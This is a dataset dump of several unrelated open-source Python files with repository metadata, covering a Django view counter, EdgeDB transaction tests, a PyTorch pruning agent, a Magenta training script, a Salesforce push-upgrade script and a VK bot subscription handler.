from django.contrib.auth.mixins import LoginRequiredMixin from django.apps import apps from django.views.generic import DetailView, CreateView from django.http import HttpResponse, HttpRequest, request from django.core.signals import request_finished from django.dispatch import receiver Company = apps.get_model('Company', 'Company') class PostDetailView(DetailView): model = Company def get_object(self, *args, **kwargs): obj = super().get_object() try: self.request.session['viewed'] except KeyError: self.request.session['viewed'] = False else: pass while not self.request.session['viewed']: obj.total_viewers += 1 obj.save() self.request.session['viewed'] = True return obj return obj class PostCreateView(LoginRequiredMixin, CreateView): model = Company fields = ['name', 'logo', 'address']

415

152

46

c54051df8e2aea44fdfe329ae2ee54ce18aa91a8

2,223

py

Python

generate_payout_data_script.py

dwhalen/holophrasm

0d971428f9879ad3d6c0a781f1a021cff73fb1ce

[ "MIT" ]

33

2016-09-23T15:05:24.000Z

2021-08-30T11:13:35.000Z

generate_payout_data_script.py

dwhalen/holophrasm

0d971428f9879ad3d6c0a781f1a021cff73fb1ce

[ "MIT" ]

4

2016-12-14T03:41:55.000Z

2020-05-27T20:27:55.000Z

generate_payout_data_script.py

dwhalen/holophrasm

0d971428f9879ad3d6c0a781f1a021cff73fb1ce

[ "MIT" ]

12

2016-08-20T10:40:21.000Z

2022-01-03T09:47:01.000Z

import time from tree_parser import * from data_utils5 import * import os import withpool text = file_contents() database = meta_math_database(text,n=None, remember_proof_steps=True) print() lm = LanguageModel(database) saved_interface = None # import import build_payout_data_set as pd pd.initialize_interface(lm, 'searcher') valp = lm.validation_propositions testp = lm.test_propositions trainp = lm.training_propositions chunk_size = len(trainp)//8 chunks = [ valp, testp, trainp[:chunk_size], trainp[chunk_size:2*chunk_size], trainp[2*chunk_size:3*chunk_size], trainp[3*chunk_size:4*chunk_size], trainp[4*chunk_size:5*chunk_size], trainp[5*chunk_size:6*chunk_size], trainp[6*chunk_size:7*chunk_size], trainp[7*chunk_size:] ] for i, chunk in enumerate(chunks): filename = 'payout_data_'+str(i) if os.path.exists(filename): continue # okay. we're doing this one. # claim it. with open(filename, 'wb') as handle: pickle.dump(None, handle) # do the stuff. print('generating chunk: '+filename) with withpool.Pool(None) as pool: allpds = pool.map(process_chunk, [(i,j) for j in range(len(chunk))], chunksize=1) print('saving '+filename) with open(filename, 'wb') as handle: pickle.dump(allpds, handle) # # def validation_data(n): # print 'starting item',n # return pd.PropositionsData(valp[n]) ''' let's do this in chunks import withpool with withpool.Pool(8) as pool: start = time.time() allpds = {} allpds['validation'] = pool.map(validation_data, range(len(valp)), chunksize=1) print (time.time()-start), (time.time()-start)/len(valp) allpds['test'] = pool.map(test_data, range(len(testp)), chunksize=1) print (time.time()-start), (time.time()-start)/(len(valp)+len(testp)) allpds['training'] = pool.map(training_data, range(len(trainp)), chunksize=1) print (time.time()-start), (time.time()-start)/(len(valp)+len(testp)+len(trainp)) print 'saving database' import pickle with open('payout_data','wb') as handle: pickle.dump(allpds, handle) '''

24.977528

89

0.689159

import time from tree_parser import * from data_utils5 import * import os import withpool text = file_contents() database = meta_math_database(text,n=None, remember_proof_steps=True) print() lm = LanguageModel(database) saved_interface = None # import import build_payout_data_set as pd pd.initialize_interface(lm, 'searcher') valp = lm.validation_propositions testp = lm.test_propositions trainp = lm.training_propositions chunk_size = len(trainp)//8 chunks = [ valp, testp, trainp[:chunk_size], trainp[chunk_size:2*chunk_size], trainp[2*chunk_size:3*chunk_size], trainp[3*chunk_size:4*chunk_size], trainp[4*chunk_size:5*chunk_size], trainp[5*chunk_size:6*chunk_size], trainp[6*chunk_size:7*chunk_size], trainp[7*chunk_size:] ] def process_chunk(x): i,j = x print('on chunk', i, 'item', j, '/', len(chunks[i])) return pd.PropositionsData(chunks[i][j]) for i, chunk in enumerate(chunks): filename = 'payout_data_'+str(i) if os.path.exists(filename): continue # okay. we're doing this one. # claim it. with open(filename, 'wb') as handle: pickle.dump(None, handle) # do the stuff. print('generating chunk: '+filename) with withpool.Pool(None) as pool: allpds = pool.map(process_chunk, [(i,j) for j in range(len(chunk))], chunksize=1) print('saving '+filename) with open(filename, 'wb') as handle: pickle.dump(allpds, handle) # # def validation_data(n): # print 'starting item',n # return pd.PropositionsData(valp[n]) ''' let's do this in chunks import withpool with withpool.Pool(8) as pool: start = time.time() allpds = {} allpds['validation'] = pool.map(validation_data, range(len(valp)), chunksize=1) print (time.time()-start), (time.time()-start)/len(valp) allpds['test'] = pool.map(test_data, range(len(testp)), chunksize=1) print (time.time()-start), (time.time()-start)/(len(valp)+len(testp)) allpds['training'] = pool.map(training_data, range(len(trainp)), chunksize=1) print (time.time()-start), (time.time()-start)/(len(valp)+len(testp)+len(trainp)) print 'saving database' import pickle with open('payout_data','wb') as handle: pickle.dump(allpds, handle) '''

114

0

23

8a1bf4a8337112febfa3b668351586f40df2a744

6,427

py

Python

tests/test_sync_tx_legacy.py

fantix/edgedb-python

2d8deaec503a206555f97f3f71952462e3483629

[ "Apache-2.0" ]

null

tests/test_sync_tx_legacy.py

fantix/edgedb-python

2d8deaec503a206555f97f3f71952462e3483629

[ "Apache-2.0" ]

null

tests/test_sync_tx_legacy.py

fantix/edgedb-python

2d8deaec503a206555f97f3f71952462e3483629

[ "Apache-2.0" ]

null

# # This source file is part of the EdgeDB open source project. # # Copyright 2016-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import edgedb from edgedb import _testbase as tb

32.135

77

0.525751

# # This source file is part of the EdgeDB open source project. # # Copyright 2016-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import edgedb from edgedb import _testbase as tb class TestSyncTxLegacy(tb.SyncQueryTestCase): ISOLATED_METHODS = False SETUP = ''' CREATE TYPE test::TransactionTest EXTENDING std::Object { CREATE PROPERTY name -> std::str; }; ''' TEARDOWN = ''' DROP TYPE test::TransactionTest; ''' def test_sync_transaction_regular_01(self): self.assertIsNone(self.con._top_xact) tr = self.con.transaction() self.assertIsNone(self.con._top_xact) with self.assertRaises(ZeroDivisionError): with tr as with_tr: self.assertIs(self.con._top_xact, tr) # We don't return the transaction object from __aenter__, # to make it harder for people to use '.rollback()' and # '.commit()' from within an 'with' block. self.assertIsNone(with_tr) self.con.execute(''' INSERT test::TransactionTest { name := 'Test Transaction' }; ''') 1 / 0 self.assertIsNone(self.con._top_xact) result = self.con.query(''' SELECT test::TransactionTest FILTER test::TransactionTest.name = 'Test Transaction'; ''') self.assertEqual(result, []) def test_sync_transaction_nested_01(self): self.assertIsNone(self.con._top_xact) tr = self.con.transaction() self.assertIsNone(self.con._top_xact) with self.assertRaises(ZeroDivisionError): with tr: self.assertIs(self.con._top_xact, tr) with self.con.transaction(): self.assertIs(self.con._top_xact, tr) self.con.execute(''' INSERT test::TransactionTest { name := 'TXTEST 1' }; ''') self.assertIs(self.con._top_xact, tr) with self.assertRaises(ZeroDivisionError): in_tr = self.con.transaction() with in_tr: self.assertIs(self.con._top_xact, tr) self.con.query(''' INSERT test::TransactionTest { name := 'TXTEST 2' }; ''') 1 / 0 recs = self.con.query(''' SELECT test::TransactionTest { name } FILTER test::TransactionTest.name LIKE 'TXTEST%'; ''') self.assertEqual(len(recs), 1) self.assertEqual(recs[0].name, 'TXTEST 1') self.assertIs(self.con._top_xact, tr) 1 / 0 self.assertIs(self.con._top_xact, None) recs = self.con.query(''' SELECT test::TransactionTest { name } FILTER test::TransactionTest.name LIKE 'TXTEST%'; ''') self.assertEqual(len(recs), 0) def test_sync_transaction_nested_02(self): with self.con.transaction(isolation='repeatable_read'): with self.con.transaction(): # no explicit isolation, OK pass with self.assertRaisesRegex(edgedb.InterfaceError, r'different isolation'): with self.con.transaction(isolation='repeatable_read'): with self.con.transaction(isolation='serializable'): pass with self.assertRaisesRegex(edgedb.InterfaceError, r'different read-write'): with self.con.transaction(): with self.con.transaction(readonly=True): pass with self.assertRaisesRegex(edgedb.InterfaceError, r'different deferrable'): with self.con.transaction(deferrable=True): with self.con.transaction(deferrable=False): pass def test_sync_transaction_interface_errors(self): self.assertIsNone(self.con._top_xact) tr = self.con.transaction() with self.assertRaisesRegex(edgedb.InterfaceError, r'cannot start; .* already started'): with tr: tr.start() self.assertTrue(repr(tr).startswith( '<edgedb.Transaction state:rolledback')) self.assertIsNone(self.con._top_xact) with self.assertRaisesRegex(edgedb.InterfaceError, r'cannot start; .* already rolled back'): with tr: pass self.assertIsNone(self.con._top_xact) tr = self.con.transaction() with self.assertRaisesRegex(edgedb.InterfaceError, r'cannot manually commit.*with'): with tr: tr.commit() self.assertIsNone(self.con._top_xact) tr = self.con.transaction() with self.assertRaisesRegex(edgedb.InterfaceError, r'cannot manually rollback.*with'): with tr: tr.rollback() self.assertIsNone(self.con._top_xact) tr = self.con.transaction() with self.assertRaisesRegex(edgedb.InterfaceError, r'cannot enter context:.*with'): with tr: with tr: pass

5,293

379

23

a76c710880e5cbafaca952cb802c9f15bd1e9aa8

4,297

py

Python

condense/torch/agent.py

SirBubbls/condense

e28f008477fe75c24b43cc853b2dc6d923f01813

[ "MIT" ]

null

condense/torch/agent.py

SirBubbls/condense

e28f008477fe75c24b43cc853b2dc6d923f01813

[ "MIT" ]

null

condense/torch/agent.py

SirBubbls/condense

e28f008477fe75c24b43cc853b2dc6d923f01813

[ "MIT" ]

null

"""This file contains the implementation for basic pruning operations on arbitrary torch modules.""" import torch import torch.nn as nn import copy from condense.optimizer.sparsity_functions import Constant def calc_parameter_sparsity(p): """Calculates the sparsity percentage of a torch parameter. Args: p: torch parameter Returns: sparsity percentage (as float) with range [0.0, 1.0] """ x = torch.sum((torch.flatten(p) == 0).float()) return float(x) / p.numel() def masking_fn(X, t_sparsity): """Default masking function used by the PruningAgent.""" threshold = torch.sort(torch.abs(X).flatten())[0][int(len(X.flatten()) * t_sparsity.get_epoch_sparsity())] return (torch.abs(X) > threshold).float() class PruningAgent(nn.Module): """This class augments an existing torch module with callbacks and parameter masks.""" def __init__(self, model, strategy=None, apply_mask=False, ignored_params=[]): """You need to pass a module and a constant sparsity strategy. Args: model (torch.nn.Module): existing torch module strategy: the sparisty target strategy apply_mask (boolean): if this is true a mask will get generated and applied on initialization ignored_params (list): no pruning gets applied onto the element in the list """ super(PruningAgent, self).__init__() self.model = model # create a list of parameters to prune _ignored_params = [] for param in ignored_params: if isinstance(param, nn.Module): _ignored_params.extend(list(param.parameters())) elif isinstance(param, nn.parameter.Parameter): _ignored_params.append(param) else: raise Exception('only parameters and modules are supported in argument ignored_params') self.to_prune = self.__get_parameters_to_prune(_ignored_params) # Parameter masks self.mask = {} self.masking_fn = masking_fn if strategy: if not isinstance(strategy, Constant): raise Exception('Currently only the constant sparsity strategy is supported.') self.layer_strategies = self.__init_per_layer_sparsity_strategies(strategy) self.init_parameter_masks(not apply_mask) self.__wrap_sub_modules() def init_parameter_masks(self, initialize_ones=True): """Initialize parameter masks. Args: initialize_ones (boolean): initialize mask values as 1 (no masking) """ for p in self.to_prune: if initialize_ones: self.mask[p] = torch.ones(p.size()) else: self.mask[p] = self.masking_fn(p, self.layer_strategies[p]) p.data = p.data * self.mask[p] # apply mask to corresponding parameter def __wrap_sub_modules(self): """Applies pruning functionality to every parameter of the actual model.""" for param in self.to_prune: param.register_hook(lambda g, p=param: g * self.mask[p]) # param.register_hook(lambda g, p=param: self._update_parameter_mask(p)) # param.register_hook(lambda g, p=param: self.layer_strategies[p].next_epoch()) def _update_parameter_mask(self, p): """Update masks for a parameter p.""" self.mask[p] = self.masking_fn(p, self.layer_strategies[p]) def get_parameter_sparsity(self): """Get a list of the sparsity percentages of every model parameter.""" return [calc_parameter_sparsity(p) for p in self.model.parameters()]

37.692982

110

0.643938

"""This file contains the implementation for basic pruning operations on arbitrary torch modules.""" import torch import torch.nn as nn import copy from condense.optimizer.sparsity_functions import Constant def calc_parameter_sparsity(p): """Calculates the sparsity percentage of a torch parameter. Args: p: torch parameter Returns: sparsity percentage (as float) with range [0.0, 1.0] """ x = torch.sum((torch.flatten(p) == 0).float()) return float(x) / p.numel() def masking_fn(X, t_sparsity): """Default masking function used by the PruningAgent.""" threshold = torch.sort(torch.abs(X).flatten())[0][int(len(X.flatten()) * t_sparsity.get_epoch_sparsity())] return (torch.abs(X) > threshold).float() class PruningAgent(nn.Module): """This class augments an existing torch module with callbacks and parameter masks.""" def __init__(self, model, strategy=None, apply_mask=False, ignored_params=[]): """You need to pass a module and a constant sparsity strategy. Args: model (torch.nn.Module): existing torch module strategy: the sparisty target strategy apply_mask (boolean): if this is true a mask will get generated and applied on initialization ignored_params (list): no pruning gets applied onto the element in the list """ super(PruningAgent, self).__init__() self.model = model # create a list of parameters to prune _ignored_params = [] for param in ignored_params: if isinstance(param, nn.Module): _ignored_params.extend(list(param.parameters())) elif isinstance(param, nn.parameter.Parameter): _ignored_params.append(param) else: raise Exception('only parameters and modules are supported in argument ignored_params') self.to_prune = self.__get_parameters_to_prune(_ignored_params) # Parameter masks self.mask = {} self.masking_fn = masking_fn if strategy: if not isinstance(strategy, Constant): raise Exception('Currently only the constant sparsity strategy is supported.') self.layer_strategies = self.__init_per_layer_sparsity_strategies(strategy) self.init_parameter_masks(not apply_mask) self.__wrap_sub_modules() def __get_parameters_to_prune(self, ignored_params): params = [] for param in self.model.parameters(): is_ignored = False for ignored_param in ignored_params: if param is ignored_param: is_ignored = True break if not is_ignored: params.append(param) return params def __init_per_layer_sparsity_strategies(self, strategy): strat = {} for p in self.model.parameters(): strat[p] = copy.deepcopy(strategy) strat[p].set_base_sparsity(calc_parameter_sparsity(p)) return strat def init_parameter_masks(self, initialize_ones=True): """Initialize parameter masks. Args: initialize_ones (boolean): initialize mask values as 1 (no masking) """ for p in self.to_prune: if initialize_ones: self.mask[p] = torch.ones(p.size()) else: self.mask[p] = self.masking_fn(p, self.layer_strategies[p]) p.data = p.data * self.mask[p] # apply mask to corresponding parameter def __wrap_sub_modules(self): """Applies pruning functionality to every parameter of the actual model.""" for param in self.to_prune: param.register_hook(lambda g, p=param: g * self.mask[p]) # param.register_hook(lambda g, p=param: self._update_parameter_mask(p)) # param.register_hook(lambda g, p=param: self.layer_strategies[p].next_epoch()) def _update_parameter_mask(self, p): """Update masks for a parameter p.""" self.mask[p] = self.masking_fn(p, self.layer_strategies[p]) def get_parameter_sparsity(self): """Get a list of the sparsity percentages of every model parameter.""" return [calc_parameter_sparsity(p) for p in self.model.parameters()]

610

0

54

15236d3fea42976c8c2bc779f41faee3462af1ff

2,715

py

Python

magenta/models/polyphonic_rnn/polyphonic_rnn_train.py

jellysquider/magenta

0fc8188870f5d1c988b76dae434b21e58362516c

[ "Apache-2.0" ]

null

magenta/models/polyphonic_rnn/polyphonic_rnn_train.py

jellysquider/magenta

0fc8188870f5d1c988b76dae434b21e58362516c

[ "Apache-2.0" ]

null

magenta/models/polyphonic_rnn/polyphonic_rnn_train.py

jellysquider/magenta

0fc8188870f5d1c988b76dae434b21e58362516c

[ "Apache-2.0" ]

null

# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Train polyphonic RNN.""" import functools import os # internal imports import numpy as np import tensorflow as tf from magenta.models.polyphonic_rnn import polyphonic_rnn_graph from magenta.models.polyphonic_rnn import polyphonic_rnn_lib FLAGS = tf.app.flags.FLAGS tf.app.flags.DEFINE_string( 'note_sequence_input', None, 'Polyphonic tfrecord NoteSequence file.') tf.app.flags.DEFINE_string( 'checkpoint_dir', '/tmp/polyphonic_rnn/checkpoints', 'Path to the directory where checkpoints and summary events will be saved ' 'during training') tf.app.flags.DEFINE_string( 'log', 'INFO', 'The threshold for what messages will be logged DEBUG, INFO, WARN, ERROR, ' 'or FATAL.') if __name__ == '__main__': console_entry_point()

31.206897

79

0.73186

# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Train polyphonic RNN.""" import functools import os # internal imports import numpy as np import tensorflow as tf from magenta.models.polyphonic_rnn import polyphonic_rnn_graph from magenta.models.polyphonic_rnn import polyphonic_rnn_lib FLAGS = tf.app.flags.FLAGS tf.app.flags.DEFINE_string( 'note_sequence_input', None, 'Polyphonic tfrecord NoteSequence file.') tf.app.flags.DEFINE_string( 'checkpoint_dir', '/tmp/polyphonic_rnn/checkpoints', 'Path to the directory where checkpoints and summary events will be saved ' 'during training') tf.app.flags.DEFINE_string( 'log', 'INFO', 'The threshold for what messages will be logged DEBUG, INFO, WARN, ERROR, ' 'or FATAL.') def _loop(graph, itr, sess, inits=None, do_updates=True): i_h1 = np.zeros((graph.batch_size, graph.rnn_dim)).astype('float32') duration_mb, note_mb = next(itr) x_note_mb = note_mb[:-1] y_note_mb = note_mb[1:] x_duration_mb = duration_mb[:-1] y_duration_mb = duration_mb[1:] feed = {graph.note_inpt: x_note_mb, graph.note_target: y_note_mb, graph.duration_inpt: x_duration_mb, graph.duration_target: y_duration_mb, graph.init_h1: i_h1} if do_updates: outs = [graph.cost, graph.final_h1, graph.updates] train_loss, h1_l, _ = sess.run(outs, feed) else: outs = [graph.cost, graph.final_h1] train_loss, h1_l = sess.run(outs, feed) return train_loss, h1_l def main(unused_argv): tf.logging.set_verbosity(FLAGS.log) checkpoint_dir = os.path.expanduser(FLAGS.checkpoint_dir) if not os.path.exists(checkpoint_dir): tf.gfile.MakeDirs(checkpoint_dir) tf.logging.info('Checkpoint dir: %s', checkpoint_dir) graph = polyphonic_rnn_graph.Graph(FLAGS.note_sequence_input) polyphonic_rnn_lib.run_loop( functools.partial(_loop, graph), checkpoint_dir, graph.train_itr, graph.valid_itr, n_epochs=graph.num_epochs, checkpoint_delay=40, checkpoint_every_n_epochs=5, skip_minimums=True) def console_entry_point(): tf.app.run(main) if __name__ == '__main__': console_entry_point()

1,287

0

69

78621a8e86299831efb7f131bdc74604edf548df

1,297

py

Python

source/pkgsrc/graphics/py-pycha/patches/patch-chavier_gui.py

Scottx86-64/dotfiles-1

51004b1e2b032664cce6b553d2052757c286087d

[ "Unlicense" ]

1

2021-11-20T22:46:39.000Z

source/pkgsrc/graphics/py-pycha/patches/patch-chavier_gui.py

Scottx86-64/dotfiles-1

51004b1e2b032664cce6b553d2052757c286087d

[ "Unlicense" ]

null

source/pkgsrc/graphics/py-pycha/patches/patch-chavier_gui.py

Scottx86-64/dotfiles-1

51004b1e2b032664cce6b553d2052757c286087d

[ "Unlicense" ]

null

$NetBSD: patch-chavier_gui.py,v 1.1 2020/03/11 20:17:12 wiz Exp $ Convert to python3 syntax. --- chavier/gui.py.orig 2011-08-08 19:23:18.000000000 +0000 +++ chavier/gui.py - print 'CHART STATE' - print '-' * 70 - print 'surface: %d x %d' % (alloc.width, alloc.height) - print 'area :', self.chart.area - print - print 'minxval:', self.chart.minxval - print 'maxxval:', self.chart.maxxval - print 'xrange :', self.chart.xrange - print - print 'minyval:', self.chart.minyval - print 'maxyval:', self.chart.maxyval - print 'yrange :', self.chart.yrange + print('CHART STATE') + print('-' * 70) + print('surface: %d x %d' % (alloc.width, alloc.height)) + print('area :', self.chart.area) + prin() + print('minxval:', self.chart.minxval) + print('maxxval:', self.chart.maxxval) + print('xrange :', self.chart.xrange) + print() + print('minyval:', self.chart.minyval) + print('maxyval:', self.chart.maxyval) + print('yrange :', self.chart.yrange)

34.131579

65

0.573631

$NetBSD: patch-chavier_gui.py,v 1.1 2020/03/11 20:17:12 wiz Exp $ Convert to python3 syntax. --- chavier/gui.py.orig 2011-08-08 19:23:18.000000000 +0000 +++ chavier/gui.py @@ -523,18 +523,18 @@ class GUI(object): alloc = self.drawing_area.get_allocation() - print 'CHART STATE' - print '-' * 70 - print 'surface: %d x %d' % (alloc.width, alloc.height) - print 'area :', self.chart.area - print - print 'minxval:', self.chart.minxval - print 'maxxval:', self.chart.maxxval - print 'xrange :', self.chart.xrange - print - print 'minyval:', self.chart.minyval - print 'maxyval:', self.chart.maxyval - print 'yrange :', self.chart.yrange + print('CHART STATE') + print('-' * 70) + print('surface: %d x %d' % (alloc.width, alloc.height)) + print('area :', self.chart.area) + prin() + print('minxval:', self.chart.minxval) + print('maxxval:', self.chart.maxxval) + print('xrange :', self.chart.xrange) + print() + print('minyval:', self.chart.minyval) + print('maxyval:', self.chart.maxyval) + print('yrange :', self.chart.yrange) def about(self, action=None): dialog = AboutDialog(self.main_window)

56

51

73

36433b1ccbd9a80c18f87b1265e45bc0ae087c57

722

py

Python

longclaw/longclaworders/serializers.py

Kuntal-KK/longclaw

a3493a62937689a15236b2943d19bcf4ec058cd9

[ "MIT" ]

1

2021-08-14T13:46:32.000Z

longclaw/longclaworders/serializers.py

Kuntal-KK/longclaw

a3493a62937689a15236b2943d19bcf4ec058cd9

[ "MIT" ]

null

longclaw/longclaworders/serializers.py

Kuntal-KK/longclaw

a3493a62937689a15236b2943d19bcf4ec058cd9

[ "MIT" ]

null

from rest_framework import serializers from longclaw.longclaworders.models import Order, OrderItem from longclaw.longclawproducts.serializers import ProductVariantSerializer from longclaw.longclawshipping.serializers import AddressSerializer

26.740741

74

0.759003

from rest_framework import serializers from longclaw.longclaworders.models import Order, OrderItem from longclaw.longclawproducts.serializers import ProductVariantSerializer from longclaw.longclawshipping.serializers import AddressSerializer class OrderItemSerializer(serializers.ModelSerializer): product = ProductVariantSerializer() class Meta: model = OrderItem fields = "__all__" class OrderSerializer(serializers.ModelSerializer): items = OrderItemSerializer(many=True) shipping_address = AddressSerializer() total = serializers.SerializerMethodField() class Meta: model = Order fields = "__all__" def get_total(self, obj): return obj.total

29

404

46

36ee0bbc01ea7f98c4fe146f9be1433586cda037

1,884

py

Python

ci/push/schedule_push.py

marcalbaladejo/CumulusCI

f619d0d984f7bbfa3c6fcd6e33e41e64105cb4f5

[ "BSD-3-Clause" ]

1

2018-01-31T11:56:03.000Z

ci/push/schedule_push.py

marcalbaladejo/CumulusCI

f619d0d984f7bbfa3c6fcd6e33e41e64105cb4f5

[ "BSD-3-Clause" ]

null

ci/push/schedule_push.py

marcalbaladejo/CumulusCI

f619d0d984f7bbfa3c6fcd6e33e41e64105cb4f5

[ "BSD-3-Clause" ]

1

2016-07-20T12:15:38.000Z

import os import sys import csv import time from push_api import SalesforcePushApi # Force UTF8 output reload(sys) sys.setdefaultencoding('UTF8') if __name__ == '__main__': try: username = os.environ.get('SF_USERNAME') password = os.environ.get('SF_PASSWORD') serverurl = os.environ.get('SF_SERVERURL') version = os.environ.get('VERSION') subscribers = os.environ.get('SUBSCRIBERS', None) subscribers_file = os.environ.get('SUBSCRIBERS_FILE', None) if not subscribers and not subscribers_file: raise ValueError('You must provide either the SUBSCRIBERS or SUBSCRIBERS_FILE environment variables') if subscribers: orgs = subscribers.split(',') else: f_orgs = open(subscribers_file, 'r') orgs = [] for org in f_orgs: orgs.append(org.strip()) push_api = SalesforcePushApi(username, password, serverurl) version = push_api.get_package_version_objs("Id = '%s'" % version, limit=1)[0] print 'Scheduling push upgrade for %s.%s to %s orgs' % (version.major, version.minor, len(orgs)) request_id = push_api.create_push_request(version, orgs) print 'Push Request %s is populated, setting status to Pending to start execution' % request_id if len(orgs) > 1000: print "Delaying 30 seconds to allow all jobs to initialize..." time.sleep(30) print push_api.run_push_request(request_id) print 'Push Request %s is queued for execution' % request_id except SystemExit: sys.exit(1) except: import traceback exc_type, exc_value, exc_traceback = sys.exc_info() print '-'*60 traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stdout) print '-'*60 sys.exit(2)

33.642857

113

0.639597

import os import sys import csv import time from push_api import SalesforcePushApi # Force UTF8 output reload(sys) sys.setdefaultencoding('UTF8') if __name__ == '__main__': try: username = os.environ.get('SF_USERNAME') password = os.environ.get('SF_PASSWORD') serverurl = os.environ.get('SF_SERVERURL') version = os.environ.get('VERSION') subscribers = os.environ.get('SUBSCRIBERS', None) subscribers_file = os.environ.get('SUBSCRIBERS_FILE', None) if not subscribers and not subscribers_file: raise ValueError('You must provide either the SUBSCRIBERS or SUBSCRIBERS_FILE environment variables') if subscribers: orgs = subscribers.split(',') else: f_orgs = open(subscribers_file, 'r') orgs = [] for org in f_orgs: orgs.append(org.strip()) push_api = SalesforcePushApi(username, password, serverurl) version = push_api.get_package_version_objs("Id = '%s'" % version, limit=1)[0] print 'Scheduling push upgrade for %s.%s to %s orgs' % (version.major, version.minor, len(orgs)) request_id = push_api.create_push_request(version, orgs) print 'Push Request %s is populated, setting status to Pending to start execution' % request_id if len(orgs) > 1000: print "Delaying 30 seconds to allow all jobs to initialize..." time.sleep(30) print push_api.run_push_request(request_id) print 'Push Request %s is queued for execution' % request_id except SystemExit: sys.exit(1) except: import traceback exc_type, exc_value, exc_traceback = sys.exc_info() print '-'*60 traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stdout) print '-'*60 sys.exit(2)

0

9e2f6191d670e4988de60e49d379005e81731fb5

1,581

py

Python

pskgu_bot/bots/base/user_settings/subscribtion.py

mrgick/pskgu_bot

a6252c33b3ca18e6df6e79ed9e9721a766ed1e1f

[ "MIT" ]

14

2021-02-26T14:33:35.000Z

2021-12-27T09:36:12.000Z

pskgu_bot/bots/base/user_settings/subscribtion.py

mrgick/pskgu_bot

a6252c33b3ca18e6df6e79ed9e9721a766ed1e1f

[ "MIT" ]

1

2022-02-05T12:37:21.000Z

2022-02-05T12:37:24.000Z

pskgu_bot/bots/base/user_settings/subscribtion.py

mrgick/pskgu_bot

a6252c33b3ca18e6df6e79ed9e9721a766ed1e1f

[ "MIT" ]

2

2021-03-05T18:07:39.000Z

2021-12-03T00:12:29.000Z

from ..messages import (MSG_NO_NAME_GROUP, MSG_NOW_UNSUBCRIBE, MSG_NO_USER_GROUP, msg_not_found_group_name, msg_already_subscribed, msg_now_subscribed) from pskgu_bot.db.services import (find_group_by_name, find_vk_user_by_id, update_user) from typing import Optional async def subcribe(user_id: Optional[str] = None, group_name: Optional[str] = None, type_sys: str = "vk") -> str: """ Подписывает пользователя на группу. """ if group_name is None or user_id is None: return MSG_NO_NAME_GROUP group = await find_group_by_name(group_name) if not group: return msg_not_found_group_name(group_name) if type_sys == "vk": user = await find_vk_user_by_id(user_id) if user: if user.group == group_name: return msg_already_subscribed(group_name) await update_user(user_id, group_name) return msg_now_subscribed(group_name) async def unsubcribe(user_id: Optional[str] = None, type_sys: str = "vk") -> str: """ Отписывает пользователя от группы. """ if user_id is None: return MSG_NO_USER_GROUP if type_sys == "vk": user = await find_vk_user_by_id(user_id) if not user: return MSG_NO_USER_GROUP else: if user.group == "": return MSG_NO_USER_GROUP else: await update_user(user_id, "") return MSG_NOW_UNSUBCRIBE

32.265306

74

0.605313

from ..messages import (MSG_NO_NAME_GROUP, MSG_NOW_UNSUBCRIBE, MSG_NO_USER_GROUP, msg_not_found_group_name, msg_already_subscribed, msg_now_subscribed) from pskgu_bot.db.services import (find_group_by_name, find_vk_user_by_id, update_user) from typing import Optional async def subcribe(user_id: Optional[str] = None, group_name: Optional[str] = None, type_sys: str = "vk") -> str: """ Подписывает пользователя на группу. """ if group_name is None or user_id is None: return MSG_NO_NAME_GROUP group = await find_group_by_name(group_name) if not group: return msg_not_found_group_name(group_name) if type_sys == "vk": user = await find_vk_user_by_id(user_id) if user: if user.group == group_name: return msg_already_subscribed(group_name) await update_user(user_id, group_name) return msg_now_subscribed(group_name) async def unsubcribe(user_id: Optional[str] = None, type_sys: str = "vk") -> str: """ Отписывает пользователя от группы. """ if user_id is None: return MSG_NO_USER_GROUP if type_sys == "vk": user = await find_vk_user_by_id(user_id) if not user: return MSG_NO_USER_GROUP else: if user.group == "": return MSG_NO_USER_GROUP else: await update_user(user_id, "") return MSG_NOW_UNSUBCRIBE

0

e1f3eb9090ef74e2bd15baffc14d784859c6b703

187

py

Python

network/models/random.py

matejker/network

e2a3f5cb4e351fb682aa1736813cc74bca55c169

[ "MIT" ]

1

2020-12-16T18:33:59.000Z

network/models/random.py

matejker/network

e2a3f5cb4e351fb682aa1736813cc74bca55c169

[ "MIT" ]

4

2020-06-17T08:14:23.000Z

2020-06-18T22:31:47.000Z

network/models/random.py

matejker/network

e2a3f5cb4e351fb682aa1736813cc74bca55c169

[ "MIT" ]

1

2021-05-30T22:55:27.000Z

# from network.models.exceptions import * # from network.network import Network # from network.models.tools import random_choice # from itertools import combinations # import numpy as np

31.166667

48

0.807487

# from network.models.exceptions import * # from network.network import Network # from network.models.tools import random_choice # from itertools import combinations # import numpy as np

0

105056080a2b5617ca7317b4dea241a923e78797

35

py

Python

Tests/Runnable1/r_pyclass_t.py

jwilk/Pyrex

83dfbae1261788933472e3f9c501ad74c61a37c5

